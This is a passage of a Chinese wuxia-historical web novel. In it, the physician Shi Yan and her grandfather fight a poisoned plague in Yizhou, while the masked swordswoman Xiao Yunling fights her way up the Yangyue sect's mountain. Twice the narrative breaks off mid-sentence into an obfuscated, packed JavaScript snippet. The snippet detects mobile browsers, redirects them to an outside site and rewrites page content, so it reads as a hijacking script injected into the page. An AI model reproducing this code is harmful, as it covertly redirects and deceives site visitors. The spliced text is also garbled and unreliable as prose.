顾念怀应下了,又并排站去石焉身侧,两人神色凝重,听屿王正色道,“你们记住,现在这个时候,我不能远离京城太久,最多三个月,益州事必须毕。我要你们两个,都活着出来见我。” “是。” 两人同声领命,行礼道别。 22. 第五章第三节 当晚回到益州城内将军府后,石焉心里长时间内都激荡未平,她久违地从屿王身上感到了一股大义凛然,即便他长于深宫养得处心积虑,但幼年壮志凌云时许下的恢宏志向依稀在耳,他也许还是一日骨血滚烫,挥洒半生难凉。她想。 次日大早,石焉收拾好药剂物资准备前往东所时,发现顾念怀已经带着十位屿王护卫站在将军府的门口等她了。 “顾大人,其余事情都安排好了吗?”两人并肩而行,石焉问道。 “嗯。”顾念怀放低了声音道,“郡主,这里都是外人,恕卑职冒昧往后只能以医官称您了。” “这有什么?我本来就是屿王府派来的医官,不是吗?” 石焉故意加重了“王府派来”几个字,她微笑的坦然,倒让顾念怀有些摸不着头脑,他以为石焉定会对他和屿王都不置一词,毕竟上次密室里的争吵他在外面虽听不清具体内容,但仍能感觉到郡主言辞犀利,态度冷硬,一点不似平常往昔。于是连石焉昨日对屿王的关心,都一律被顾念怀打为了是故意的客套与讽刺。但现在听来,似乎她又放下了成见,竟全心全意甘以屿王府的名声做事。 两人带着侍卫们一路走到东所门口,石焉交代大家再次系紧面上掩住口鼻的绢布,才推门进去。 即便朝着后山的窗子时时开着,即便这里的病人已经吃过两日药,精神也略见起色,但毕竟只靠石焉与裘氏二人之力,无法做到彻底的清洁,因此门一开,污秽泄物的气味还是冲了出来。小顾一下子没准备,猛地被屋内刺鼻之气打懵了心神,他皱起眉头,显然是极不适应,正强行忍住生理上的不适,身后一个侍卫却“哇”地一声吐了出来,顾念怀一听此声,便再也忍不住胃里的恶心,跟着干呕起来。 石焉一进门便开始忙碌,等她打算回过头去叫小顾帮忙,却发现对方已和十个侍卫一起吐成了一团。 她第一次来时虽然也被熏得刺鼻,但毕竟没出现这样的生理不适,而眼前这些侍卫名为下人,却终究是一个个比百姓要活的娇贵多了。她少时就离开皇权贵胄,在杭城生活七年也算衣食无忧,竟已忘了,自己是平民百姓,她的身体心理承受能力,是不能与吃皇粮的天家之徒平行相论的。她没来由地想起江南,他与这些人不一样,若是他来,一定不会反应如此剧烈。 “面巾吐湿了就不可再用,我这里有多余的,你们从那边窗户出去,后山无人,去呼吸呼吸新鲜空气,换好了再进来。”石焉失笑,赶紧说道。 顾念怀本还在强撑,他嘴里包着一嘴将吐之物,却死要面子不愿吐出来,此时石焉一讲,他也顾不得颜面全无,只好摆了摆手带着其他人赶紧翻窗出去了。 东所的后头就是益州城唯一的山,这里是益州的最东面,山下一条小溪,绕山一周,又蜿蜒流经全城,顾念怀在溪边洗脸漱口,才觉得心肺里又重归洁净,他偏过头大口吸了几下山泉气,视线氤氲里正对上东所的那扇偏窗。 土墙裂砖,木框破瓦,明明是破败不堪、临时修建的房舍,却偏偏建在一片自然天地之后,一墙之隔,却是两处截然不同的风景,一边是避之不及的疫毒之地,一边是心向往之的山清水秀,他站在窗外不远,看着窗里的逼仄,灰蓝布衣的女医官前后忙碌着,根本无暇顾及自身的危险处境。他心下似有热流滚滚淌过,像是受到了某种英雄侠义的感召,立即用衣袖擦去脸上的水珠,重新系上干净面巾,重翻跃回方方正正的窗子里去。 “石姑娘,我没事了。”小顾朝窗外指了指,道,“再给兄弟们一点时间,除了打扫刚刚的呕吐之物,还有什么是我能做的?” “确实有。”石焉正跪蹲在地上给一位病人搭好脉息,她直起腰,用手背抹了抹额头的汗,尽可能用最礼貌的语气道,“倒粪。” “什么?!”讶异的不止顾念怀,还有一旁正煎药的窦氏,他俩同时惊道。 “石医官,这使不得使不得。”窦氏赶紧走过来插话,她见今日新来的这位公子哥仪容英俊,又看他一进门就对味道有那么大的反应,便知其养尊处优,且其衣着布料名贵不菲,尤其是腰带上一块金黄的令牌闪烁耀眼,她虽看不懂上面的字,但猜也能猜出来一定是昨天引起全城轰动的那位京城来的皇子身边的人,她按住石焉的手道,“这种脏活我来干就行了,不如换这位公子去看药炉子?” “不必,大姐。怎么能让你一个病属去做?我来就是。”顾念怀挽起袖子道。 只是他挑起粪桶的一瞬间,还是把刚刚才建立的对于可以拉拢石焉进入屿王阵营的信心又破灭的烟消云散。 “石医官,那位难道不是位大人吗?你怎么能这样使唤他呀。”后边的窦氏担心道。 “阿姐,别替我担心,能倒粪桶的地方在疠所外面,你出不去,我也走不开。不是我故意为难,实在是洁净的环境和空气对病患来说是相当重要的。”石焉道,“这里躺的都是男性,你我也不方便近身,前两天又忙着配药,这才没工夫管这些。益州的将士除了看守城门的,也全被派在了各处□□百姓,幸好现在屿王殿下派来了足够的人手,我们第一步就是要把疠所清理干净,否则很容易让人二次生病。” 顾念怀和侍卫们来回几趟,总算把屋子里肉眼可见的不洁之物都倒了个干干净净,又一起给所有病患擦了身体换好干净的衣服,这才算一天过去。 每日从早忙到天黑,每两日还要和石焉共同出城去给屿王汇报一次情况,小顾常常是饿的时候没空吃饭,有空的时候又恶心的吃不下。 直到他连续在这挑了十天的粪桶之后,小顾确认,他一定是替自家的殿下受罪来的。 “肖神医,您请您请,来我们这可是要受大罪的。”一位益州兵士边道边快步带路往东所而来,身后跟随的中年男子目不斜视,气宇轩昂,他步履如飞,正是肖遥海从徒太山来了。 “到了,前面就是东所。恕我不能送您进去,将军有令,各疠所都由专人看护,我们负责来往城内外的,不得自行靠近。” “你们将军做的很对,请回吧,老夫自己进去。” 为防阴湿之气,东所当初是垫高了建造的,虽工期急短,但也粗粗在门口搭高了七级台阶,其外才是院门看守。肖遥海走至院口打眼一望,似乎石焉并不在里头,忽听得身后传来一声清脆女声。 “外公?” 石焉看面前的人回过头来,竟真的是外公,遂惊道,“您怎么来了!这里很危险…” “这里很危险,所以外公怎么能让小妙常自己面对?” “外公。”石焉凑上前去扯扯袖子示意他噤声,道,“在外面,我是石焉。” “好好好,是外公忘了。”肖遥海问道,“这几天怎么样?” 石焉叹了口气,道,“有些波折,我刚刚回住处拿了些东西回来,外公,天看着要下雨,不如进去说。” 头顶一阵风起,一老一少紧两步上阶朝屋里去了。大片的乌云顺着风飘近,低低停在屋脊上头。若此时抬眼,就会发现当空乌云团团密布,远处之外却是晴空朗朗,云蒸霞蔚。那片柔亮层岚之下,正是几城之隔的苗疆地界。 苗地多山水,自古出奇景,传闻屈原大士曾来此游历,经桃花江,上凤凰山,沿千级石阶徐徐攀之,于万丈山顶发觉一石筑平台,石台宽仅五丈,立于其上,看脚下滔滔江水翻天,远处郁郁群树林立,四周空悬无物,似天地间徒剩己身,苍茫中空留一人,孑然如斯,于是胸中激荡难平,遂留《天问》名篇。 央月教主闭关修炼的秘宝之地就设在此处,若说吸收天地日月之精华,确实再没有哪处可跃得过此平台去了。而往下半山腰处,则是央月教的总坛。 肖云翎自离开徒太山便一路南下,十天后已到达桃花江岸,她掀起帏帽皂纱,露出一张玉面具来,青白面具里透着淡淡的铜黄杂色,像是有了活人的血气似的。身上一袭黑色长衫,外系灰色竖纹背心,两臂用红布绑了护腕,她手握舒云长剑,拴了白马于山下,沿石阶快步上行。 “玉面夫人悄然造访,不知有何事?” 肖云翎刚上三百级,旁侧便闪身出来一位男子,身形精瘦,眼眶凹深,瞳孔泛棕,他汉语讲的并不十分地道,便是央月教的奉月使。 “关你屁事。” 肖云翎显然是没什么好脾气,她继续道,“什么悄然造访,我光明正大地来,从来也没瞒着谁,你们不是从我进江以来就得讯了吗?说吧,上面还有多少阵法等着我?这两千个台阶,是打算百级一关?还是十级一拦啊?” “你明知教主正在山顶天台闭关练功,还非要在此刻上去。你要见教主,就得先过我这关。” “凭你也配。” 奉月使见跟来者讲不通道理,便主动出手攻去,可他远远不是肖云翎对手,还未近得身,就被对方一掌挥开,几个跟头跌落在阶旁的矮树丛里,连舒云剑的鞘都没碰着。肖云翎已经算是掌下留情,没有直接叫他生生摔落在硬石阶上,否则非得震碎肺腑不可。奉月使全身酥麻,用不出任何力气,只得眼睁睁看着青灰石阶上肖云翎的淡漠背影,她头也没回,径直往上去了。 再走五百级,遥遥便可看见一男一女两位圣使立于面前十数级台阶的上头,一个书生模样腰别铁镣铐,一个三十上下手执长剑,正是“文捕快”和“女剑魁”。两人居高临下地望着,男的大声用汉语道,“阁下请停步,再往上来,我们可要出手了。” 肖云翎抬头看了一眼,玉面具下的嘴角不耐烦地撇撇,她似是置若罔闻一般,更不予一词,只按着自己的步伐,每一脚落得不轻不重,不疾不徐,就这么沿阶一级一级地往上前进。 “还与她废话什么,直接上吧。”女使用苗语道后,飞身挥剑向下刺来。 这两位圣使的武功在央月教中算得上中流级别,各自论来,在整个武林中也位列二等高手了,两人一向联合出手,从不落单,而长久的默契往往能将二人的武功相加到大于原本的程度,就是对上一等高手也是不怕的。 他们屡次为寻圣女下落而前往中原,虽然一无所获,却在江湖上打出了不小的名声。而两三个月前的此番前往,属实是没料到竟真的发现了圣女行踪,可惜偏偏又遇到了破空出世的江南突然横插一刀,后者虽然在江湖上是没人知晓来头的无名之辈,但仅凭其在刚刚与人比武之后仍能对战肖云翎过百招,甚至在最后逼得其不得不拔出舒云剑来对抗,可见他武功高强,在武林中至少也能排进一等高手的前列,只因他从未参加过任何比武擂台,这才叫央月二使数次输在这一毫无名号的小辈手下,几番丢了面子。 至于后来圣女落单,他们再次打算伺机出手,却又发现她此行目的地竟然是千山峰上的无尽崖,且暗中保护的还有凌霄宫大弟子裴青染。央月教一向与凌霄宫不对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253662|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因此二人更加不敢私下滋扰无尽崖弟子,再掠夺凌霄宫客人,以无故生事。否则按照玉面夫人的性格,定会百倍地叫央月教偿还回来。而他们的教主正值闭关修炼玉轮神功最高层的紧要关头,是绝不能在此时出差错的。 但即便如此,肖云翎还是找上门来了。 脚下石阶延伸上去,而天色正迅速由明转暗,灰色的阴影一寸一寸覆盖住泥石混筑的台阶,追赶着一级一级逐渐加快的步伐,一切颜色正趋于深黯,而当气氛浓至烈点后,“轰”地一声惊雷破天开响,先是几滴急点子砸落下来,很快就是大雨滂沱,纷洒如帘。 爷孙二人进了屋内,肖遥海推开窗子,向外支上撑窗竹竿,雨便潲不进屋内,但凉风习习,正适宜疏解诸人愁闷的心绪,他沾干支窗时淋湿的手,这才回身探起病人的脉。石焉则简单问过石难黎的近况,得知其好转无虞后,遂放下心思,拿出包袱里的一条长布袋卷徐徐展开,里面插着长短粗细不一的银针。肖遥海一见便明了,他收回手,道,“你方才便是专程去取来这些验毒的工具?说说看,你有什么想法?” “十日前自药材不再短缺后,我就给他们都配服了对症的辟疫干散,还在屋里屋外用雄黄熏香不断,本来症状都略有好转,可不知怎的从昨晚开始又都接连发作起来了,按理说是绝不应该的。”石焉说着将几根银针钻进病人的穴位里,“痒…疼…难受啊”的呻吟声便从他口中泄露出来,石焉取针收好,又仔细给他按揉新穴,这才叫他舒服了一些。 “你怀疑这不仅是疫,还可能参了毒,是不是?”肖遥海拉着石焉走到窗边,外面参杂着淅沥雨声,他低声道。 “是,我本来只是怀疑,但今日早上其余几处疠所的大夫来告诉我他们那也都发生了同样的情况,怎么会这么巧?刚刚我给他施针,他的反应足以说明,我的猜测没错。可若是下毒,这样全城规模的集体中毒……”石焉说着说着便不敢再往下想下去了。 “我在来的路上也稍微作了了解,不管是益州还是乐进夔,先得病的大多是男子,后才染及周遭。”肖遥海道,“这样的毒,你应该熟悉。” 二使对肖云翎的武功招式并不熟悉,只能硬着头皮迎战。一人攻左,一人攻右,将肖云翎困在石阶中间,施展不开手脚。“文捕快”抽出镣铐,一个矮身,从肖云翎背后略过,企图牢牢将铐子锁在舒云剑鞘上,以阻止其拔剑。若舒云剑一出,他俩更加毫无胜算了。 可肖云翎丝毫不乱,右手清晰接过女使频频递来的每一狠辣剑招,左手反绕身后,已然拦下男使的铁铐,且巧腕翻转处,便扣了对方的右手在掌,她接着身子轻巧旋过,转瞬就离了二人中间,反倒将二使的左右手铐在了一道。 肖云翎心知他们要解开镣铐并无难度,只是用点时间罢了。她也没心思纠缠,遂速战速决后,便转过身来,加快了脚步,施展轻功几级一跃,继续上阶而行。眼见二使并未继续追来,她心知这恐怕只是登台的前两道关,后头等着的才是教内真正的高手。天气晴朗,白日当空,长衫随着迈步的动作不断振起,转眼就只给二使留下一角玄色的飘飘衣尾,和帷帽下的半扇皂纱,而望不及人影了。 往后的三百级,倒无人阻拦,只是此处已至半山腰,央月总坛便在斜侧一条分路方向。肖云翎向来没兴趣做客,刚出手打了人家的人,又去客套的拜访,更是没必要。于是沿着面前阶梯,继续向上去。可刚迈出一步,便听得侧后响动来袭,她猛地回身格挡,来者已距她仅一步之遥。 她心中暗赞好厉害的轻功,迅速仰身下腰躲开攻击,随即往后腾翻两周,如此与来者拉开距离。 站定后,看清对面是二位年轻女子,而身后又传来衣袂摩擦的轻声,她转过头去,发现又有一位年轻女子悄然立在身后,拦住上路。她们同样的个头,同样的宽瘦,身上穿着同样的衣着,使的是同样的轻功,甚至连长相都有七分相似。 “玉面夫人过央月教而不入,敢问是要去哪?”对面的一位女子问道。 “你们是谁?”肖云翎不答反问。 “凌霄宫有秋娘与蓉姨替夫人坐阵,央月教自然也有我们。我叫阿因。” “阿缘。” “阿债。” 三人倒也不避讳,纷纷自报家门。只听那叫阿因的又道,“玉面夫人打伤了我们的奉月使和圣使,我们姐妹三人定是要讨个说法的,不过也不急,教主命我们请阁下至鄙教总坛稍坐片刻,教主自会下来相见。” 说罢,台阶低处的两人侧身让开一条径路,欠身做出“请”的姿态,示意肖云翎下阶前往总坛。 “快去请石医官!快请她随我走一趟!”焦急的女声从外面传来,侍卫不放其进入,从里面只依稀可见台阶下的来者行色匆匆,纸伞丢落在一旁,正是赵将军府的丫鬟。 而所内,石焉和肖遥海刚商议定眼下的对策,大疫乃时节所感,但毒却只能是人为。自古以来光是重疫致死亡者便难有少于数百人的,更何况夹杂了毒于其中,两项哪个都不得掉以轻心,否则难保不会死上更多人。于是二人决定兵分两路,两人各司其职,石焉回到将军府去专心研制解药,肖遥海则留下指挥统筹治疫。 这边刚准备离开,就听得外面找寻石医官的叫嚷不断,她闻声而出,还未来得及开口询问,便听那丫头急道,“石医官,小姐染上疫症了!” “凝眸?!” 23. 第五章第四节 “自不量力。”皂纱仍旧搭在帏帽檐上,玉面具下传出冷冷一句。 肖云翎对阿因话中莫名牵扯凌霄宫、无故攀上秋娘与蓉姨的行为已是不快,又听她字里行间竟是强迫自己非至央月教总坛不可的意思,更加懒的啰嗦,直接转身跃过那独自拦在上路的女子,展开轻功便继续往上。 这名女子正是阿债,她看肖云翎转身,便已作好架势来防,却不想对方并不意在发动攻击,只是以快若闪电的速度,直接就从自己身侧掠了过去,而她只来得及抓住其衣尾一角。 粗麻质感的衫布从手掌中划过,肖云翎的衣带随人,去势极快,竟在阿债掌中磨出了一道鲜红血痕。而与此同时,阿因阿缘已然赶了上来,三人一并施展轻功去追,始终只能与肖云翎保持不远不近的一段距离,并不能赶至其前面,拦住其去路。眼见已经追过了两百级台阶,阿因打个手势,三人便同时从腰中各模出一枚圆形棋子,脚下不停,一齐朝肖云翎的后脑掷去。 三枚棋子横冲而来,极速擦过山间湿润的空气,氤氲起细密的水色。肖云翎听到身后不同的声响,知道是暗器袭来,她并不回身去看,只顺势低头,整个人往石阶趴去,将近地面之时又单手俯撑其上,另一只手扶住要掉落的帏帽,双腿似弯刀般地依次踢起,在半空划出个弧形后以一个漂亮的跟头稳稳立于阶上。她站定后轻轻挪动右脚,黑棋在其脚下,已被踏碎了一地。 阿因只看到自己三人的棋子被她的右脚自空中依次踏下时,就已震碎成粒粒碎片,然而这些碎片裂而不散,仍被其内力黏合成完整棋子的样子,直到落下。可见其功力深厚,非一日之语。 “在我面前玩暗器,你们三个加起来也不够格。” “我只知道双拳难敌四手,不妨再试试。”阿因自恃己方姐妹三人从小便练就了一模一样的出手速度和招式力道,三人合一的打法又能将各自的武功并至极致的高度,比之方才的二使要厉害出许多,是央月教的一组奇兵。历来教内比武,除了上面还有的四位坛主,姐妹三人鲜有败绩,因此年轻气盛,很是骄傲。 她们从未出过桃花江,对于今天来的这位一上来就连败两关教中前辈,还意欲直闯教主修炼的不速之客,自然是抱了十足的敌意的。即便玉面夫人的名头响到无人不知,三人也绝不打算未打先降,给教派掉了面子。而肖云翎素来就因外貌美丽,在江湖上传言久久不息,即便其已年过四十,武林中人讨论奉承者,仍然滔滔不绝,她今日又面覆玉具,头戴帏帽,在对面三人看来更是自负美貌而做的故弄玄虚。 阿因言语中丝毫不掩饰她对于肖云翎的不尊重,这其中除了央月教与凌霄宫一向不和的原因外,并不缺少她自己之于一个年长女子的轻蔑与嫉恨,哪怕二人从无私交更无过节。 人之不和,有的是因为立场阵营的敌对,有的是因为利益盘桓而交错。然而自古以来不论男女,对于心胸狭隘的人而言,同性相斥的理由,无非是看对方芳华年岁逝去,偏仍添胜于自己的外貌,高于自己的赫名,往往就足够建立起对其的不满挑剔,甚至仇恨。 阿因这边话毕,三人便立刻同时起手,六下硬掌接连劈到,狠辣凌厉,迅猛快捷。肖云翎却比她们更快,她攥指成拳,一招接过一招,双脚站在原地,一步不退,六拳过后,横过右肘切将过来,三人顿时被击的纷纷后退了几步才站稳脚跟。 “双拳难敌四手,也要看是谁的拳,谁的手。你们这样的,我一打三,绰绰有余。” 肖云翎利索地摆脱了三人的攻击,转身便欲再向上行。然而后者并不打算就此认输,既然硬功比不过,那就用上独门暗器,总要争回几分面子不可。 姐妹三人一上二下,呈尖锐犀状,再次从肖云翎背后袭去,三人共掷黑棋暗器,从不同方位打出,比之刚才更加凌厉迅速。 肖云翎身后疾风啸来,她双足再快,也不可能跑得过暗器,只得再次转身去接,她侧身横翻躲过来势,同时摘下帏帽,一一兜住三颗棋子,玉手挽起漱风,一阵掌波跟随而至,帏帽便被她推了出去,沿空中几个翻转,迅速旋至阿因跟前。 阿因见帏帽内壁贴有黑棋,在空中正反数下,都没有掉落出来,直到面前,此时的帏帽必定是载了对方的深厚内力而来的。她不敢贸然伸手去接,连连退步躲避。阿缘阿债见状如此,也立刻急退数步,赶至阿因身后,三人同时伸手。阿因接住帏帽,剩余二人则将手抵在她的两侧后背,三人协力御敌。 即便如此,帏帽来势凶猛,还是擦过阿因手掌,径直砸在她双臂怀中,只觉得有千斤重量,同时三颗黑子也在帽中因猛然的停顿而全部飞出,一一撞击在阿因胸口,在其衣上留下三个圆圈印记。 “咳…”阿因顿时一口鲜血喷出,往后踉跄,几欲跌倒。 仅一顶帏帽而已,况且早已脱了肖云翎的手,然而那内力不仅似巨山压人般坚硬难扛,竟还似洪水滔滔般绵延不绝,阿因既无法直接硬碰硬地接招,更无法将那续续而至的掌波转移或化解开来,她被三子所击之后,手里仍抱着帏帽,只觉得像黏在了自己身上似的,无力拉扯下来。阿缘阿债也因抵御不住而纷纷后退,连下几级台阶后方才停下。 “你既然是她们的长姐,就该学会保护妹妹,而不是一味带着她们挑衅不休。”肖云翎抬手重新绕紧了摘帏帽时扯的有些松散的发髻,利落插上木簪,接着道,“戴上帽子,先学学谦逊做人罢。” 话毕,她正转身欲走,阿因的声音在耳后轰然炸开。 “你也是姐姐!怎么没保护住幼妹?!” “你家小姐一直被保护在将军府中,怎么会染上疫毒呢?” 因雨势来的湍急,石焉并未备伞,丫鬟手里的小巧纸伞也蔽不太周全,两人疾步朝将军府而去,白雨似乱珠一般打在二人脸上发上,又结成串沿着发梢滴落进衣襟,风呼啸而来,头顶黑云压境,入眼一片灰蒙惨淡。 “奴婢也不知,小姐从今日一早便有些低烧,夫人将军一开始还不信,先前医官您回将军府时,我就想请您去看看的。可是将军说一定不会是疫病,不要添乱。谁知后来小姐就呕吐起来了,我这才来请您。” 石焉心中记挂着疫中参毒一事,本就焦急忧虑,步子迈得越来越大,根本顾不得自己淋不淋雨这许多,自来到益州后,她更是第一次冒出了想要学骑马的念头,这十多日,来回疬所路上的时间,若能骑马代之,说不定就来得及多救一个病人。 而另一边的东所,在混沌的暗色烟雨中,更显得格外颓败。肖遥海看着满室凋敝,再这样下去,解药还没研制出来,这些百姓自己就要扛不下去了。他转向所有人,打算说些什么。 “诸位,”刚一开口,便见到门口回来几个挑着粪桶的侍卫,他知道是石焉交代过的那位顾念怀大人带人回来了,他并不急着前去打招呼,而是继续大声向众人道,“疫毒难愈,但并非完全不可治,我肖遥海今日来,就是救人来的!下面我要说五条要则,请所有人一同遵守,只要做到了,我向诸位保证,必不再叫一具尸体从益州抬出去!” 此话一出,萎靡的气氛顿时激昂起来,这里的人原本每日哀声叹气,毫无半点生气,从守卫到病患,人人一副万念俱灰的样子。石焉是第一个进到东所来的大夫,饶是如此,凭她一人之力,也只能给人们带来仅持续一两天的勇气,直到益州迎来屿王,才算是看到了希望的苗头。众人逐渐恢复对生的渴望,而今日盖世神医天降,便是给他们最后的一剂猛药,肖遥海话中之意就在于此,纵使他并不真能保证一定可以让每个人都活下来,只是他知道,对于这些人来说,心志坚强则犹可奋力一搏,自甘堕落则永无生机。 至于门口的顾念怀,他此时身上黏臭,又兼之突如其来的暴雨,正是个落魄透顶的形象,他怕自己扰了大家好不容易起来的信心,便和其余几人一道,站在门外楼梯上静静看着。他久闻肖遥海大名,今日一见,才知其名不虚传。面容淡定,身板健壮,远远看去说他是个青年伙子也不足为过,若说外形俊朗足可证明其颇通医术保养,更难得的是他眼中总带着奕奕光辉的神采,放声高语时也并不慌乱局促,反更见其气定神闲,他说出口的话,不由得就让人想全然相信。这些气质,却是只有长久的时间和阅历才能赋予的。 肖遥海又道,“其一,曰艾炙!我和石医官会每日来轮流艾灸,如此则瘴疠、温疟毒气不能著人,可起预防之效,亦可强身保命。” “其二,曰服散!屿王殿下带来的药物充足,因此除了每日都需服用之前石医官为大家配的辟疫散之外,我会另以真珠、肉桂各一分,贝母三分熬之,鸡子白熬令黄黑,三分,捣筛,于每月朔望给大家服之,此乃东晋名医葛洪书中的奇方,当有大效。” “其三,曰熏香!石医官为大家每日以雄黄熏香,已经逐见成果,往后不仅要坚持,还要每日烧烟,避讳邪气,调和驱疫。” “其四,曰蒸煮!每位病人的所有衣物,今日开始全部要以沸水蒸煮,尤其是对沾染了呕吐之物的,立刻便要拿去处理。” “其五,曰养正!请大家振作起来,气虚则邪之所凑,正气健旺则湿浊不能伤人。刚才说的前四条,我都会请顾大人帮助大家进行。”他朝顾念怀的方向点头示了示意,此时病患中也有人回头,看到后者一身脏污,却不肯迈步进屋,情愿在屋外淋雨,遂有感动自责之语不断,“连屿王殿下身边的人都屈尊来帮我们洗刷夜桶,我们再垂头丧气的,便是对不起所有来救我们的人!我们绝对听肖神医的话,绝不会放弃的!” 肖遥海见状,便继续道,“很好!也唯有这第五条,需要你们每一个人自己配合,请大家务必打起精神来!我和石医官就在此,小顾大人也就在此,益州不愈,我们绝不擅离!” “你幼妹遭受迫害时,你又为何远离在外,不来救她?” 阿因见方才的话奏效,肖云翎定在了原地,便愈发得寸进尺,再次激道。 “我刚才手下留情,就是因为看你们也是姐妹三人让我想到我的妹妹。”玉面具后的眼神变得狠辣起来,“你再多嘴,我立刻便杀了你们。” 说罢手指立时从腰间捻了三根玉色冰针出来,此针通体晶莹,长约一指,宽则不足指缝间隙,头尾更为纤细锋利,正是她的独门暗器凤翎针。她眼牵手动,三针簌簌飞出,眸中精光也狠厉射到,凤翎针的速度比眼光更快,阿因几乎是刚看到她的捻针动作,三根冰针已一一落至她眼前了。 只是冰针的目的不在于伤她,而是直接竖插进了她面前的石阶之中,石板坚硬,冰针仍是硬生生凿入其内,在阶面爆开了几道裂纹,离阿因的足尖不过一寸。 后者见她发了脾气,也被震慑住,不敢继续多嘴,她双手下意识在身后各自悄悄护住阿缘阿债,以防对方真的要再对她们不利。 肖云翎见三姐妹紧紧依偎在一起,眼一闭泄了杀气,她缓缓转身再往上走,脚下两步一迈,这条路离登顶所剩的台阶已经不足一半了,头顶风转云沉,时辰也已近傍晚,而天光尚亮,日头未落,月轮初升,大家都有伴。 唯她凛然孑行的身影在山中,利落又潇洒。 你我道她寡合不群。 她却从不以为孤独。 六百级台阶踏过,周遭山景越发渺小,陡峭高阶级级延伸,两侧是悬空石壁,低头便可看见桃花江翻浪滔天。 肖云翎行至此处,闻得身后有人影脚步声渐近,她放慢步子,来者武功极高,似是一人跟随,但肖云翎仔细辨别,便知身后来的根本不是一人,而是四人,当是央月教春夏秋冬四坛的分坛主到了。 春分坛青龙主,夏分坛朱雀主,秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253663|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分坛白虎主,冬分坛玄武主。四人乃是央月教教主之下,仅次于大祭司的掌实权者。而圣女,为教内第一高衔,承的是护佑全教的祥瑞之名,亦有资格决议教中事务。外界皆以为圣女得教主佳遇,获全教礼待,是足以代表央月教立场的尊贵神女,其实教内人人皆知,现任教主接位后的圣女不过是一接访百姓、巡游展示时才会抬出来的名头装饰。而建教以来,也唯有阿娜莎这第一任圣女曾兼任大祭司,掌过实权。现在的央月教,圣女不知所踪,祭祀空缺无人,最高等的就是这四位分坛主了。 步子戛然而止,肖云翎兀地顿住身形,转向后来。那跟在其后的脚步声也随之消失了,肖云翎将手按在剑鞘顶侧,主动道,“要打便尽快,天都要黑了,我可不想留下过夜。” “今夜若能平安过去,最凶险的时候才算过去了。”赵将军叹了口气,道,“石医官可还要回东所?” “赵将军,你放心,东所有外公在,我今晚就在府里研药,赵小姐有事便可随时传我。” “多谢,凝眸就拜托你了。”赵将军再次道谢后,便即出府回去值守了。 屿王营地就搭在城门外,益州大疫的防卫与□□都已由他接管,赵将军的兵力用于城内的倒是趋于减少,只是眼下对于他的守城军来说,保护屿王此行两月的周全,才是他们接下来的重点。 因此他忙碌并不少于前期,屿王虽明令无需他出城来守卫自己的安全等事项,但他仍然夜夜守在城门上,眼观六路耳听八方,生怕放了一只不清楚底细的苍蝇去了屿王的大帐。可他眼睛长在了前面,却失了对后方的掌控,自己的幼女不知道怎么回事竟然偷跑了出去,还染了疫病回来。 这边石焉正头痛欲裂,她给赵凝眸开了些对症的急药先稳住精神,这些药和在东所给病人服下的大致相同,都只是对标的缓和之物,如果找不到解毒的办法,不过是白白拖长他们的生命在这世上多受几日病躯折磨罢了。 回到自己的客房,她怕凝眸那边的院子随时要来叫人,因此并不解下面纱,桌案对面的小轩窗上镶了许多处镂空的花格,正好透进外面的风水来,阵雨声声入耳,冽风历历迷眼,原本的绢布已在先前赶回的路上淋的透湿,她怕过了东所的污气给凝眸,便特意在进房探视前更换了干净的素布蒙面,此刻覆在脸上也变得冷冰冰的刺人。她从包袱里翻出自己学医以来常常随笔所记的《观古医林随记》,坐下翻读回顾,以求获得解毒的灵感。 石焉的百毒不侵之身是来源于幼时就曾以身试过百毒,又与母亲学会了解此百毒。而后在杭城的几年,她苦读医典,撰写心得,每每行医义诊时,也总是得到药到病除、妙手仁心,诸如此类的感谢溢美之词,就难免自以为自己真能成为医学大家,无往不胜了。然而仅这一年,现实就给了她两个巨大的教训,爷爷的毒她无法根治,益州的毒她也束手无策。 不是她的医术还差得远,而是病与毒进的太快,医者往往只能跟在其后急急追赶,见招拆招。济世救人者定是心怀仁慈之辈,因此医术再高,也总是难敌那无所不用其极欲祸害人间的研毒之人。 如今就已这般艰难,更不知千百年后会怎样,医者与毒师的较量,孰会更高一筹?那时会不会有一个清静无害的世间?她只期盼能向前辈先行者那样,著一本解毒医典,多留些辟毒经验。至于其他的,自有后来人。 石焉支着脑袋,她已经十余天没有安心睡过长觉了,此刻更是疲乏不堪,身体倦怠,偏偏她脑中焦虑不已,毫无睡意,两相冲撞之下,只觉得一边胸闷一边头晕。天光已去,傍晚来临,面前的白纸黑字越发暗淡,她点上蜡烛,眼前虽清楚了许多,可头脑中还是郁郁满满,仿佛被诸多东西填塞住,一会东一会西,又是冒出裘氏儿子的求生面孔,又是闪现这段日子所目睹的数十具尸体焚烧的画面。她心情起伏,几近崩溃,遂起身出门,走至廊下。 屋门打开的瞬间,落雨声一下子大了起来,雨结成水柱从廊檐上倾洒下来,形成密织的网帘,把她困在帷幕的这边,看不清外界的模样,无力感如同头顶夜色,全面笼罩起地上的单薄身影,叫她分不清是哪块是天空,哪块是乌云。眼泪就这样不可控制地流出,她依靠着身侧的廊柱,抱膝蹲了下来。所有人都被赵将军遣去了前院防止更多传染,只留了几个贴身伺候的在凝眸院中,石焉的客房更是无人经至,她在此终于可以稍微哭出声来,也不必担心被听见。或许只有雨声,能明白她心中抑郁。 